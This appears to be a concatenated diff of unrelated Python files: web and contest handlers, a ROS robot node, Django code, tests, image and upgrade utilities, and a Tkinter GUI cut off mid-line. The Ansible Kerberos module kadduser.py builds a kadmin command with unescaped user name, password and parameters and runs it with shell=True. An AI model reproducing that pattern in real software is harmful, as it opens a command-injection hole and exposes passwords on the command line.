/dev/null +++ b/pool/shard008/Python/0076537_upload_handler.py @@ -0,0 +1,91 @@ +#!/usr/bin/env python3 +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, You can obtain one at http://mozilla.org/MPL/2.0/. +# +# Copyright 2017-2018 - Edoardo Morassutto +# Copyright 2017 - Luca Versari +# Copyright 2017 - Massimo Cairo + +from werkzeug.exceptions import InternalServerError, BadRequest + +from terry.handlers.base_handler import BaseHandler +from terry.handlers.info_handler import InfoHandler +from terry.contest_manager import ContestManager +from terry.database import Database +from terry.detect_exe import get_exeflags +from terry.logger import Logger +from terry.storage_manager import StorageManager +from terry.validators import Validators + + +class UploadHandler(BaseHandler): + + @Validators.during_contest + @Validators.register_user_ip + @Validators.validate_input_id + @Validators.validate_file + def upload_output(self, input, file): + """ + POST /upload_output + """ + output_id = Database.gen_id() + try: + path = StorageManager.new_output_file(output_id, file["name"]) + except ValueError: + BaseHandler.raise_exc(BadRequest, "INVALID_FILENAME", + "The provided file has an invalid name") + StorageManager.save_file(path, file["content"]) + file_size = StorageManager.get_file_size(path) + + try: + result = ContestManager.evaluate_output(input["task"], + input["path"], path) + except: + BaseHandler.raise_exc(InternalServerError, "INTERNAL_ERROR", + "Failed to evaluate the output") + + Database.add_output(output_id, input["id"], path, file_size, result) + Logger.info("UPLOAD", "User %s has uploaded the output %s" % ( + input["token"], output_id)) + return InfoHandler.patch_output(Database.get_output(output_id)) + + @Validators.during_contest + @Validators.register_user_ip + @Validators.validate_input_id + @Validators.validate_file + def upload_source(self, input, file): + """ + POST /upload_source + """ + alerts = [] + if get_exeflags(file["content"]): + alerts.append({ + "severity": "warning", + "message": "You have submitted an executable! Please send the " + "source code." + }) + Logger.info("UPLOAD", + "User %s has uploaded an executable" % input["token"]) + if not alerts: + alerts.append({ + "severity": "success", + "message": "Source file uploaded correctly." + }) + + source_id = Database.gen_id() + try: + path = StorageManager.new_source_file(source_id, file["name"]) + except ValueError: + BaseHandler.raise_exc(BadRequest, "INVALID_FILENAME", + "The provided file has an invalid name") + + StorageManager.save_file(path, file["content"]) + file_size = StorageManager.get_file_size(path) + + Database.add_source(source_id, input["id"], path, file_size) + Logger.info("UPLOAD", "User %s has uploaded the source %s" % ( + input["token"], source_id)) + output = BaseHandler.format_dates(Database.get_source(source_id)) + output["validation"] = {"alerts": alerts} + return output diff --git a/pool/shard008/Python/0076538_android_interface_node.py b/pool/shard008/Python/0076538_android_interface_node.py new file mode 100644 index 0000000000000000000000000000000000000000..70d2a2500b5302f4ffe7b80569042cbc87cfdd18 --- /dev/null +++ b/pool/shard008/Python/0076538_android_interface_node.py @@ -0,0 +1,43 @@ +#!/usr/bin/env python +import rospy, os, sys +from std_msgs.msg import String +from std_msgs.msg import Bool +from geometry_msgs.msg import Twist + +vel_pub = 0 +setup_pub = 0 + +def android_data_callback(str_msg): + if str_msg.data == "f": + driveDirect(200, 200) + if str_msg.data == "b": + driveDirect(-200, -200) + if str_msg.data == "s": + driveDirect(0, 0) + if str_msg.data == "r": + driveDirect(200, -200) + if str_msg.data == "l": + driveDirect(-200, 200); + if str_msg.data == "a": + global setup_pub + print 'restarting roomba' + mbool = Bool() + setup_pub.publish(mbool) + + + +def driveDirect(left, right): + global vel_pub + vel = Twist() + vel.linear.x = right + vel.linear.y = left + vel_pub.publish(vel) + +if __name__ == '__main__': + global vel_pub + global setup_pub + rospy.init_node('android_interface_node', anonymous=True) + rospy.Subscriber("recognizer/output", String, android_data_callback) + vel_pub = rospy.Publisher('robot_velocity', Twist, queue_size=10) + setup_pub = rospy.Publisher('setup_roomba_command', Bool, queue_size=10) + rospy.spin() diff --git a/pool/shard008/Python/0076539_0003_profile.py b/pool/shard008/Python/0076539_0003_profile.py new file mode 100644 index 0000000000000000000000000000000000000000..297c0f229607c251421838dc6cd4b414540a7bc9 --- /dev/null +++ b/pool/shard008/Python/0076539_0003_profile.py @@ -0,0 +1,26 @@ +# -*- coding: utf-8 -*- +# Generated by Django 1.11.4 on 2017-09-06 03:20 +from __future__ import unicode_literals + +from django.conf import settings +from django.db import migrations, models +import django.db.models.deletion + + +class Migration(migrations.Migration): + + dependencies = [ + migrations.swappable_dependency(settings.AUTH_USER_MODEL), + ('ideas', '0002_idea_created_by'), + ] + + operations = [ + migrations.CreateModel( + name='Profile', + fields=[ + ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), + ('bio', models.TextField(blank=True)), + ('user', models.OneToOneField(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)), + ], + ), + ] diff --git a/pool/shard008/Python/0076542_conftest.py b/pool/shard008/Python/0076542_conftest.py new file mode 100644 index 0000000000000000000000000000000000000000..7ef39a74ec7c31ca852a89fc8a86dc99c917739a --- /dev/null +++ b/pool/shard008/Python/0076542_conftest.py @@ -0,0 +1,51 @@ +import mimesis +import pytest +from mimesis.locales import Locale + +locales = list(Locale) +platform = ["win32", "linux"] + + +@pytest.fixture +def seed(): + return "mimesis" + + +@pytest.fixture(params=locales) +def generic(request): + return mimesis.Generic(request.param) + + +@pytest.fixture(params=locales) +def address(request): + return mimesis.Address(request.param) + + +@pytest.fixture(params=locales) +def finance(request): + return mimesis.Finance(request.param) + + +@pytest.fixture(params=locales) +def dt(request): + return mimesis.Datetime(request.param) + + +@pytest.fixture(params=locales) +def food(request): + return mimesis.Food(request.param) + + +@pytest.fixture(params=locales) +def person(request): + return mimesis.Person(request.param) + + +@pytest.fixture(params=locales) +def text(request): + return mimesis.Text(request.param) + + +@pytest.fixture(params=platform) +def path(request): + return mimesis.Path(request.param) diff --git a/pool/shard008/Python/0076552_kadduser.py b/pool/shard008/Python/0076552_kadduser.py new file mode 100644 index 0000000000000000000000000000000000000000..c570847043df51f5876fc87c4d0576683490ceff --- /dev/null +++ b/pool/shard008/Python/0076552_kadduser.py @@ -0,0 +1,76 @@ +#!/usr/bin/python +# Copyright (c) 2015 Intel Corporation +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +# -*- coding: utf-8 -*- +# +# recommended pylint: pylint kadduser.py -d maybe-no-member,line-too-long --indent-string " " +# recommended formating: autopep8 --indent-size 2 -i --ignore E501 kadduser.py + +DOCUMENTATION = '''This module will add user principals to kerberos if it doesn't exists. It wont change password if user already exist in kerberos.''' +EXAMPLES = ''' +- name: add user + kadduser: name='root' password='kerberos_password' +''' + +from ansible.module_utils.basic import * +from subprocess import PIPE, Popen + +# arguments that the module gets in various actions +MODULE_ARGUMENTS = { + 'name': {'type': 'str', 'required': True}, + 'password': {'type': 'str'}, + 'params': {'type': 'str'} +} + + +def execute(cmd, scnd_command=None): + cmd = 'kadmin.local -q "{0}" '.format(cmd) + if scnd_command != None: + cmd += ' | {0}'.format(scnd_command) + proc = Popen(cmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE) + out, err = proc.communicate() + proc.wait() + return out, err + + +def main(): + module = AnsibleModule(argument_spec=MODULE_ARGUMENTS) + + # script will only set password at start, at creation time. If you want change it you have to delete user before script start + name_a = module.params.get('name', None) + password_a = module.params.get('password', None) + params_a = module.params.get('params', '') + + std_o, err_o = execute('list_principals', ' grep "{0}@"'.format(name_a)) + if err_o != '' and err_o != None: + module.fail_json(msg='Kerberos error {0}'.format(err_o)) + changed = False + + # checking if principal elready exist + if std_o == '' or std_o == None: + cmd_a = 'addprinc '; + if password_a != None and password_a != '': + cmd_a += '-pw {1} ' + elif '-nokey' not in params_a: + cmd_a += '-randkey ' + cmd_a += '{2} {0}' + std_o, err_o = execute(cmd_a.format(name_a, password_a, params_a)) + if err_o != '' and err_o != None and err_o[0] != 'W': + module.fail_json(msg='Kerberos error {0}'.format(err_o)) + changed = True + module.exit_json(changed=changed, msg='Everything is done') + +main() diff --git a/pool/shard008/Python/0076554_urls.py b/pool/shard008/Python/0076554_urls.py new file mode 100644 index 0000000000000000000000000000000000000000..0e46d821b9667f552853a95b713a9b459f90d39d --- /dev/null +++ b/pool/shard008/Python/0076554_urls.py @@ -0,0 +1,13 @@ +from django.conf.urls import url + +from . import apis + + +urlpatterns = [ + url(r'GetAllMachineInfo$', apis.GetAllMachineInfo), + url(r'AddMachine$', apis.AddMachine), + url(r'UpdateMachine$', apis.UpdateMachine), + url(r'DeleteMachine$', apis.DeleteMachine), + url(r'SessionListMachines$', apis.SessionListMachines), + url(r'SessionPathStat$', apis.SessionPathStat), +] diff --git a/pool/shard008/Python/0076558_hello.py b/pool/shard008/Python/0076558_hello.py new file mode 100644 index 0000000000000000000000000000000000000000..9b77fe5cc9940d48b144d55d9aa442c17d49a64a --- /dev/null +++ b/pool/shard008/Python/0076558_hello.py @@ -0,0 +1,17 @@ +from tkinter import * +from tkinter import ttk + +root = Tk() + +Label(root, text='Hello, Om!').pack() + +button = ttk.Button(root, text='Click Me') +button.pack() + +button['text'] = 'Press Me' +button.config(text='Push Me') + +print(button) +print(root) + +root.mainloop() diff --git a/pool/shard008/Python/0076561_authorize_gplus.py b/pool/shard008/Python/0076561_authorize_gplus.py new file mode 100644 index 0000000000000000000000000000000000000000..5bbdf95c977f676c63e16838628721e883f34d1e --- /dev/null +++ b/pool/shard008/Python/0076561_authorize_gplus.py @@ -0,0 +1,75 @@ +from optparse import make_option + +from django.conf import settings +from django.core.management.base import BaseCommand, CommandError +import httplib2 +from oauth2client.file import Storage +from oauth2client.client import AccessTokenRefreshError, FlowExchangeError, \ + OAuth2WebServerFlow + + +class Command(BaseCommand): + help = "Authorize Google Plus user and save credentials " \ + "(access and refresh tokens) on disk." + + option_list = BaseCommand.option_list + ( + make_option('--force', + action='store_true', + dest='force', + default=False, + help="Force Google+ authorization flow even if access token " + "is valid."), + ) + + def handle(self, *args, **options): + + flow = OAuth2WebServerFlow( + client_id=settings.GPLUS_CLIENT_ID, + client_secret=settings.GPLUS_CLIENT_SECRET, + redirect_uri=settings.GPLUS_REDIRECT_URL, + scope='https://www.googleapis.com/auth/plus.login', + request_visible_actions='http://schema.org/CreateAction', + access_type='offline', + approval_prompt='force') + + storage = Storage(settings.GPLUS_CREDENTIALS_FILE) + credentials = storage.get() + + if credentials is None or credentials.invalid or options['force']: + if credentials is None: + self.stdout.write("no credentials found") + elif credentials.invalid: + self.stdout.write("credentials are invalid") + self.stdout.write("start authorization flow") + url = flow.step1_get_authorize_url() + print("Authorization URL: %s" % url) + try: + code = raw_input("Code:") + except EOFError: + code = None + if not code: + raise CommandError("Authorization flow interrupted") + try: + credentials = flow.step2_exchange(code) + except FlowExchangeError as e: + raise CommandError(e) + else: + storage.put(credentials) + self.stdout.write("credential updated successfully") + else: + self.stdout.write("credentials are valid") + if credentials.refresh_token and credentials.access_token_expired: + self.stdout.write("update access token") + http = httplib2.Http() + http = credentials.authorize(http) + try: + credentials.refresh(http) + except AccessTokenRefreshError as e: + self.stdout.write("update failed: %s" % e) + else: + self.stdout.write("access token updated successfully") + elif not credentials.refresh_token: + self.stdout.write("no refresh token, can't update access token") + else: + self.stdout.write("access token is not expired yet, no need " + "to refresh") diff --git a/pool/shard008/Python/0076563_pilconvert.py b/pool/shard008/Python/0076563_pilconvert.py new file mode 100644 index 0000000000000000000000000000000000000000..b9ebd52aebdf82d0aa671b1f871cc4e9a7e46b37 --- /dev/null +++ b/pool/shard008/Python/0076563_pilconvert.py @@ -0,0 +1,99 @@ +#!/usr/bin/env python +# +# The Python Imaging Library. +# $Id$ +# +# convert image files +# +# History: +# 0.1 96-04-20 fl Created +# 0.2 96-10-04 fl Use draft mode when converting images +# 0.3 96-12-30 fl Optimize output (PNG, JPEG) +# 0.4 97-01-18 fl Made optimize an option (PNG, JPEG) +# 0.5 98-12-30 fl Fixed -f option (from Anthony Baxter) +# + +from __future__ import print_function + +import getopt +import string +import sys + +from PIL import Image + + +def usage(): + print("PIL Convert 0.5/1998-12-30 -- convert image files") + print("Usage: pilconvert [option] infile outfile") + print() + print("Options:") + print() + print(" -c convert to format (default is given by extension)") + print() + print(" -g convert to greyscale") + print(" -p convert to palette image (using standard palette)") + print(" -r convert to rgb") + print() + print(" -o optimize output (trade speed for size)") + print(" -q set compression quality (0-100, JPEG only)") + print() + print(" -f list supported file formats") + sys.exit(1) + +if len(sys.argv) == 1: + usage() + +try: + opt, argv = getopt.getopt(sys.argv[1:], "c:dfgopq:r") +except getopt.error as v: + print(v) + sys.exit(1) + +output_format = None +convert = None + +options = {} + +for o, a in opt: + + if o == "-f": + Image.init() + id = sorted(Image.ID) + print("Supported formats (* indicates output format):") + for i in id: + if i in Image.SAVE: + print(i+"*", end=' ') + else: + print(i, end=' ') + sys.exit(1) + + elif o == "-c": + output_format = a + + if o == "-g": + convert = "L" + elif o == "-p": + convert = "P" + elif o == "-r": + convert = "RGB" + + elif o == "-o": + options["optimize"] = 1 + elif o == "-q": + options["quality"] = string.atoi(a) + +if len(argv) != 2: + usage() + +try: + im = Image.open(argv[0]) + if convert and im.mode != convert: + im.draft(convert, im.size) + im = im.convert(convert) + if output_format: + im.save(argv[1], output_format, **options) + else: + im.save(argv[1], **options) +except: + print("cannot convert image", end=' ') + print("(%s:%s)" % (sys.exc_info()[0], sys.exc_info()[1])) diff --git a/pool/shard008/Python/0076565_upgrade_dir.py b/pool/shard008/Python/0076565_upgrade_dir.py new file mode 100644 index 0000000000000000000000000000000000000000..aa9ed9c5b5f7f96dcf35d892d349913f505b7710 --- /dev/null +++ b/pool/shard008/Python/0076565_upgrade_dir.py @@ -0,0 +1,95 @@ +#!/usr/bin/env python +""" A script/util to upgrade all files in a directory + +This is rather conservative in its approach, only copying/overwriting +new and unedited files. + +To be used by "upgrade" feature. +""" +try: + from IPython.Extensions.path import path +except ImportError: + try: + from Extensions.path import path + except ImportError: + from path import path + +import md5,pickle + +def showdiff(old,new): + import difflib + d = difflib.Differ() + lines = d.compare(old.lines(),new.lines()) + realdiff = False + for l in lines: + print l, + if not realdiff and not l[0].isspace(): + realdiff = True + return realdiff + +def upgrade_dir(srcdir, tgtdir): + """ Copy over all files in srcdir to tgtdir w/ native line endings + + Creates .upgrade_report in tgtdir that stores md5sums of all files + to notice changed files b/w upgrades. + """ + + def pr(s): + print s + junk = ['.svn','ipythonrc*','*.pyc', '*.pyo', '*~', '.hg'] + + def ignorable(p): + for pat in junk: + if p.startswith(pat) or p.fnmatch(pat): + return True + return False + + modded = [] + files = [path(srcdir).relpathto(p) for p in path(srcdir).walkfiles()] + #print files + rep = tgtdir / '.upgrade_report' + try: + rpt = pickle.load(rep.open()) + except: + rpt = {} + + for f in files: + if ignorable(f): + continue + src = srcdir / f + tgt = tgtdir / f + if not tgt.isfile(): + pr("Creating %s" % str(tgt)) + + tgt.write_text(src.text()) + rpt[str(tgt)] = md5.new(tgt.text()).hexdigest() + else: + cont = tgt.text() + sum = rpt.get(str(tgt), None) + #print sum + if sum and md5.new(cont).hexdigest() == sum: + pr("%s: Unedited, installing new version" % tgt) + tgt.write_text(src.text()) + rpt[str(tgt)] = md5.new(tgt.text()).hexdigest() + else: + pr(' == Modified, skipping %s, diffs below == ' % tgt) + #rpt[str(tgt)] = md5.new(tgt.bytes()).hexdigest() + real = showdiff(tgt,src) + pr('') # empty line + if not real: + pr("(Ok, it was identical, only upgrading checksum)") + rpt[str(tgt)] = md5.new(tgt.text()).hexdigest() + else: + modded.append(tgt) + + #print rpt + pickle.dump(rpt, rep.open('w')) + if modded: + print "\n\nDelete the following files manually (and rerun %upgrade)\nif you need a full upgrade:" + for m in modded: + print m + + +import sys +if __name__ == "__main__": + upgrade_dir(path(sys.argv[1]), path(sys.argv[2])) diff --git a/pool/shard008/Python/0076569_luh2.py b/pool/shard008/Python/0076569_luh2.py new file mode 100644 index 0000000000000000000000000000000000000000..42982a170386f9ed216181829e506d6fb61cf634 --- /dev/null +++ b/pool/shard008/Python/0076569_luh2.py @@ -0,0 +1,125 @@ + +from copy import copy +import importlib +import numpy as np +import re +import os +import sys + +from .. import lu +from .. import utils + +LUI_MODEL_MAP = {'annual': 'cropland', + 'nitrogen': 'cropland', + 'cropland': 'cropland', + 'pasture': 'pasture', + 'perennial': 'cropland', + 'primary': 'primary', + 'rangelands': 'pasture', + 'timber': 'cropland', + 'urban': 'urban', + 'young_secondary': 'secondary', + 'intermediate_secondary': 'secondary', + 'mature_secondary': 'secondary', +} + +def model(name): + return LUI_MODEL_MAP[name] + +class LUH2(object): + def __init__(self, name, intensity): + self._name = name + self._intensity = intensity + self._inputs = [] + mod_name = model(name) + py = os.path.join(utils.lui_model_dir(), '%s.py' % mod_name) + if not os.path.isfile(py): + raise RuntimeError('could not find python module for %s' % mod_name) + rds = os.path.join(utils.lui_model_dir(), '%s.rds' % mod_name) + if not os.path.isfile(rds): + raise RuntimeError('could not find RDS file for %s' % mod_name) + if os.path.getmtime(py) < os.path.getmtime(rds): + raise RuntimeError('python module is older than RDS file for %s' % name) + if intensity != 'minimal': + if utils.lui_model_dir() not in sys.path: + sys.path.append(utils.lui_model_dir()) + self._pkg = importlib.import_module(mod_name) + self._pkg_func = getattr(self._pkg, intensity) + self._pkg_inputs = getattr(self._pkg, 'inputs')() + self._inputs += [name if x == mod_name else x for x in self._pkg_inputs] + self._finputs = copy(self._inputs) + self._inputs += [name + '_' + intensity + '_ref'] + def myfunc(df): + args = [df[arg] for arg in self._finputs] + return self._pkg_func(*args) + self._func = myfunc + if intensity == 'light': + self._inputs += [name + '_intense'] + elif intensity == 'minimal': + self._inputs += [name + '_intense', name + '_light'] + + @property + def name(self): + return self._name + '_' + self.intensity + + @property + def as_intense(self): + return self._name + '_intense' + + @property + def as_light(self): + return self._name + '_light' + + @property + def as_minimal(self): + return self._name + '_minimal' + + @property + def intensity(self): + return self._intensity + + @property + def syms(self): + return self._inputs + + def eval(self, df): + if self.intensity == 'minimal': + res = (df[self._name] - df[self.as_intense] - df[self.as_light]) + return res + res = self._func(df) + res[np.where(np.isnan(res))] = 1.0 + res = np.clip(df[self.name + '_ref'] + res, 0, 1) + if self.intensity == 'light': + intense = df[self.as_intense] / (df[self._name] + 1e-10) + res = np.where(intense + res > 1, 1 - intense, res) + res *= df[self._name] + return res + +def _predictify(sym, prefix): + newr = sym.replace(prefix, '') + newr = newr.replace(' vegetation', '') + newr = newr.replace(' forest', '_pri') + newr = newr.replace('Managed ', '') + newr = newr.replace(' secondary', '_secondary') + newr = re.sub(r'(Minimal|Light|Intense) use', "\\1", newr) + newr = newr.lower() + name = newr.split(' ')[0] + newr = newr.replace(' ', '_') + newr = newr.replace('pasture_light', 'pasture_minimal_and_light') + newr = newr.replace('rangelands_light', 'rangelands_light_and_intense') + assert name in lu.luh2.types(), 'unknown land use type %s' % sym + return newr + +def is_luh2(syms, prefix): + for sym in syms: + try: + newr = _predictify(sym, prefix) + except AssertionError as e: + return False + return True + +def predictify(root, prefix): + if isinstance(root, str) and re.match(prefix, root): + newr = _predictify(root, prefix) + return newr + return root diff --git a/pool/shard008/Python/0076574_test_uniform_random_op_npu.py b/pool/shard008/Python/0076574_test_uniform_random_op_npu.py new file mode 100644 index 0000000000000000000000000000000000000000..0e21c59432badc13e13a4eaef7871f8ee888050f --- /dev/null +++ b/pool/shard008/Python/0076574_test_uniform_random_op_npu.py @@ -0,0 +1,108 @@ +# Copyright (c) 2021 PaddlePaddle Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +from __future__ import print_function + +import sys +import subprocess +import unittest +import numpy as np +sys.path.append("..") +from op_test import OpTest +import paddle +import paddle.fluid.core as core +import paddle +from paddle.fluid.op import Operator +import paddle.fluid as fluid +from paddle.fluid import Program, program_guard +from test_uniform_random_op import TestUniformRandomOp, TestUniformRandomOpSelectedRows + +paddle.enable_static() + + +def output_hist(out): + hist, _ = np.histogram(out, range=(-5, 10)) + hist = hist.astype("float32") + hist /= float(out.size) + prob = 0.1 * np.ones((10)) + return hist, prob + + +class TestNPUUniformRandomOp(OpTest): + def setUp(self): + self.set_npu() + self.op_type = "uniform_random" + self.init_dtype() + self.inputs = {} + self.init_attrs() + self.outputs = {"Out": np.zeros((1000, 784)).astype(self.dtype)} + + def init_attrs(self): + self.attrs = { + "shape": [1000, 784], + "min": -5.0, + "max": 10.0, + "seed": 10 + } + self.output_hist = output_hist + + def set_npu(self): + self.__class__.use_npu = True + self.place = paddle.NPUPlace(0) + + def init_dtype(self): + self.dtype = np.float32 + + def test_check_output(self): + self.check_output_customized(self.verify_output, self.place) + + def verify_output(self, outs): + hist, prob = self.output_hist(np.array(outs[0])) + self.assertTrue( + np.allclose( + hist, prob, rtol=0, atol=0.01), "hist: " + str(hist)) + + +class TestNPUUniformRandomOpSelectedRows(unittest.TestCase): + def get_places(self): + places = [core.CPUPlace()] + if core.is_compiled_with_npu(): + places.append(core.NPUPlace(0)) + return places + + def test_check_output(self): + for place in self.get_places(): + self.check_with_place(place) + + def check_with_place(self, place): + scope = core.Scope() + out = scope.var("X").get_selected_rows() + paddle.seed(10) + op = Operator( + "uniform_random", + Out="X", + shape=[1000, 784], + min=-5.0, + max=10.0, + seed=10) + op.run(scope, place) + self.assertEqual(out.get_tensor().shape(), [1000, 784]) + hist, prob = output_hist(np.array(out.get_tensor())) + self.assertTrue( + np.allclose( + hist, prob, rtol=0, atol=0.01), "hist: " + str(hist)) + + +if __name__ == "__main__": + unittest.main() diff --git a/pool/shard008/Python/0076576_plot.py b/pool/shard008/Python/0076576_plot.py new file mode 100644 index 0000000000000000000000000000000000000000..81d4a733ee154c646f4435ef26833906627daf7a --- /dev/null +++ b/pool/shard008/Python/0076576_plot.py @@ -0,0 +1,29 @@ +import numpy as np +import matplotlib.pyplot as plt +import sys + +with open("data/results.txt") as results_file: + results_data = results_file.read() + +results_data = results_data.split('\n') +del results_data[-1] + +results_data = [float(x) for x in results_data] + +blue_hex='#042247' +fig = plt.figure() +ax = fig.add_subplot(111) +ax.set_xlabel('Portfolio Return (%)', color=blue_hex) +ax.set_ylabel('Frequency', color=blue_hex) +#plt.axis((2,50,0,1200)); + +title = "No Title Provided" +if (len(sys.argv) > 1): + title = sys.argv[1]; +fig.suptitle(title, fontsize=20, fontweight='bold', color=blue_hex) + +y,binEdges,_=plt.hist(results_data, bins=30, histtype='stepfilled', color=blue_hex); +bincenters = 0.5*(binEdges[1:]+binEdges[:-1]); +plt.plot(bincenters,y,'-', color='#885E23', linewidth=4); + +plt.show() diff --git a/pool/shard008/Python/0076582_request_test.py b/pool/shard008/Python/0076582_request_test.py new file mode 100644 index 0000000000000000000000000000000000000000..de7b71f28ba143127056d5c68d3b40e00269cf6a --- /dev/null +++ b/pool/shard008/Python/0076582_request_test.py @@ -0,0 +1,110 @@ +import unittest +from wpull.body import Body +from wpull.protocol.ftp.request import Reply, Command, Request, Response + + +class TestRequest(unittest.TestCase): + def test_parse_reply(self): + reply = Reply() + reply.parse(b'200 Hello\r\n') + + self.assertEqual(200, reply.code) + self.assertEqual('Hello', reply.text) + + reply = Reply() + reply.parse(b'200-Hello\r\n') + reply.parse(b'200 World!\r\n') + + self.assertEqual(200, reply.code) + self.assertEqual('Hello\r\nWorld!', reply.text) + + reply = Reply() + reply.parse(b'200-Hello\r\n') + reply.parse(b'F\r\n') + reply.parse(b' T\r\n') + reply.parse(b'200-P\r\n') + reply.parse(b'200 World!\r\n') + + self.assertEqual(200, reply.code) + self.assertEqual('Hello\r\nF\r\nT\r\nP\r\nWorld!', reply.text) + + self.assertRaises(AssertionError, reply.parse, b'200 Hello again') + + def test_reply(self): + reply = Reply(213, 'Hello world!\nFerret transfer protocol') + self.assertEqual( + b'213-Hello world!\r\n213 Ferret transfer protocol\r\n', + reply.to_bytes() + ) + self.assertEqual(213, reply.to_dict()['code']) + self.assertEqual( + 'Hello world!\nFerret transfer protocol', + reply.to_dict()['text'] + ) + self.assertEqual((2, 1, 3), reply.code_tuple()) + + def test_parse_command(self): + command = Command() + command.parse(b'User narwhal@compuwhal.org\r\n') + + self.assertEqual('USER', command.name) + self.assertEqual('narwhal@compuwhal.org', command.argument) + + self.assertRaises(AssertionError, command.parse, b'OOPS\r\n') + + command = Command() + command.parse(b'POKE\r\n') + + self.assertEqual('POKE', command.name) + self.assertEqual('', command.argument) + + self.assertRaises(AssertionError, command.parse, b'OOPS\r\n') + + def test_command(self): + command = Command('User', 'narwhal@compuwhal.org') + self.assertEqual('USER', command.name) + self.assertEqual('narwhal@compuwhal.org', command.argument) + + self.assertEqual('USER', command.to_dict()['name']) + self.assertEqual( + 'narwhal@compuwhal.org', command.to_dict()['argument']) + + command = Command('Poke') + self.assertEqual('POKE', command.name) + self.assertEqual('', command.argument) + + self.assertEqual('POKE', command.to_dict()['name']) + self.assertEqual('', command.to_dict()['argument']) + + def test_to_dict(self): + request = Request('ftp://foofle.com') + request_dict = request.to_dict() + + self.assertEqual('ftp://foofle.com', request_dict['url']) + self.assertEqual('ftp', request_dict['protocol']) + + response = Response() + response.request = request + response.reply = Reply(code=200, text='Success') + response_dict = response.to_dict() + + self.assertEqual('ftp://foofle.com', response_dict['request']['url']) + self.assertEqual('ftp', response_dict['protocol']) + self.assertEqual(200, response_dict['reply']['code']) + self.assertEqual(200, response_dict['response_code']) + self.assertEqual('Success', response_dict['reply']['text']) + self.assertEqual('Success', response_dict['response_message']) + + def test_to_dict_body(self): + response = Response() + response.body = Body() + response_dict = response.to_dict() + + self.assertTrue(response_dict['body']) + response.body.close() + + response = Response() + response.body = NotImplemented + response_dict = response.to_dict() + + self.assertFalse(response_dict['body']) diff --git a/pool/shard008/Python/0076599_install_check.py b/pool/shard008/Python/0076599_install_check.py new file mode 100644 index 0000000000000000000000000000000000000000..3cdd05533f703ac27333daab7ada0c26392a24f5 --- /dev/null +++ b/pool/shard008/Python/0076599_install_check.py @@ -0,0 +1,69 @@ +# Copyright (c) 2019 PaddlePaddle Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +from .framework import Program, program_guard, unique_name, default_startup_program +from .param_attr import ParamAttr +from .initializer import Constant +from . import layers +from . import backward +from .dygraph import Layer, nn +from . import executor + +from . import core +import numpy as np + +__all__ = ['run_check'] + + +class SimpleLayer(Layer): + def __init__(self, name_scope): + super(SimpleLayer, self).__init__(name_scope) + self._fc1 = nn.FC(self.full_name(), + 3, + ParamAttr(initializer=Constant(value=0.1))) + + def forward(self, inputs): + x = self._fc1(inputs) + x = layers.reduce_sum(x) + return x + + +def run_check(): + ''' intall check to verify if install is success + + This func should not be called only if you need to verify installation + ''' + print("Running Verify Fluid Program ... ") + prog = Program() + startup_prog = Program() + scope = core.Scope() + with executor.scope_guard(scope): + with program_guard(prog, startup_prog): + with unique_name.guard(): + np_inp = np.array([[1.0, 2.0], [3.0, 4.0]], dtype=np.float32) + inp = layers.data( + name="inp", shape=[2, 2], append_batch_size=False) + simple_layer = SimpleLayer("simple_layer") + out = simple_layer(inp) + param_grads = backward.append_backward( + out, parameter_list=[simple_layer._fc1._w.name])[0] + exe = executor.Executor(core.CPUPlace( + ) if not core.is_compiled_with_cuda() else core.CUDAPlace(0)) + exe.run(default_startup_program()) + exe.run(feed={inp.name: np_inp}, + fetch_list=[out.name, param_grads[1].name]) + + print( + "Your Paddle Fluid is installed successfully! Let's start deep Learning with Paddle Fluid now" + ) diff --git a/pool/shard008/Python/0076601_ComputePi.py b/pool/shard008/Python/0076601_ComputePi.py new file mode 100644 index 0000000000000000000000000000000000000000..14f6c590c9031cb7ad6ba5be64ec17403052ae8f --- /dev/null +++ b/pool/shard008/Python/0076601_ComputePi.py @@ -0,0 +1,56 @@ +#!/usr/bin/python +"""GUI application to generate Pi to specified decimal places""" + + +from Tkinter import * +from pi_lib import pi + + +class Pypi(Tk): + def __init__(self, parent): + Tk.__init__(self, parent) + self.parent = parent + self.initialize() + + def initialize(self): + + self.grid() + label_input = Label(self, anchor="w", text=u"Number of Digits:") + label_input.grid(column=0, row=0, columnspan=1, sticky='EW') + + self.no_of_digits = StringVar() + self.e_input = Entry(self, textvariable=self.no_of_digits) + self.e_input.grid(column=1, row=0, sticky='EW') + self.e_input.bind("", self.compute) + self.no_of_digits.set(u"5") + + b_compute = Button(self, text=u"Compute pi !", command=self.compute) + b_compute.grid(column=2, row=0) + + l_pi = Label(self, anchor="w", text=u" Value of Pi") + l_pi.grid(column=0, row=1, sticky='EW') + + self.t_answer = Text(self, width=8, height=1) + self.t_answer.grid(column=1, row=1, sticky='EW') + self.t_answer.insert('1.0', u"3.14159") + + b_clip = Button( + self, text=u"Copy to Clipboard", command=self.copy_clip) + b_clip.grid(column=2, row=1) + + self.grid_columnconfigure(0, weight=1) + self.resizable(True, False) + + def compute(self, event=None): + digits = self.no_of_digits.get() + self.t_answer.delete('1.0', END) + self.t_answer.insert('1.0', 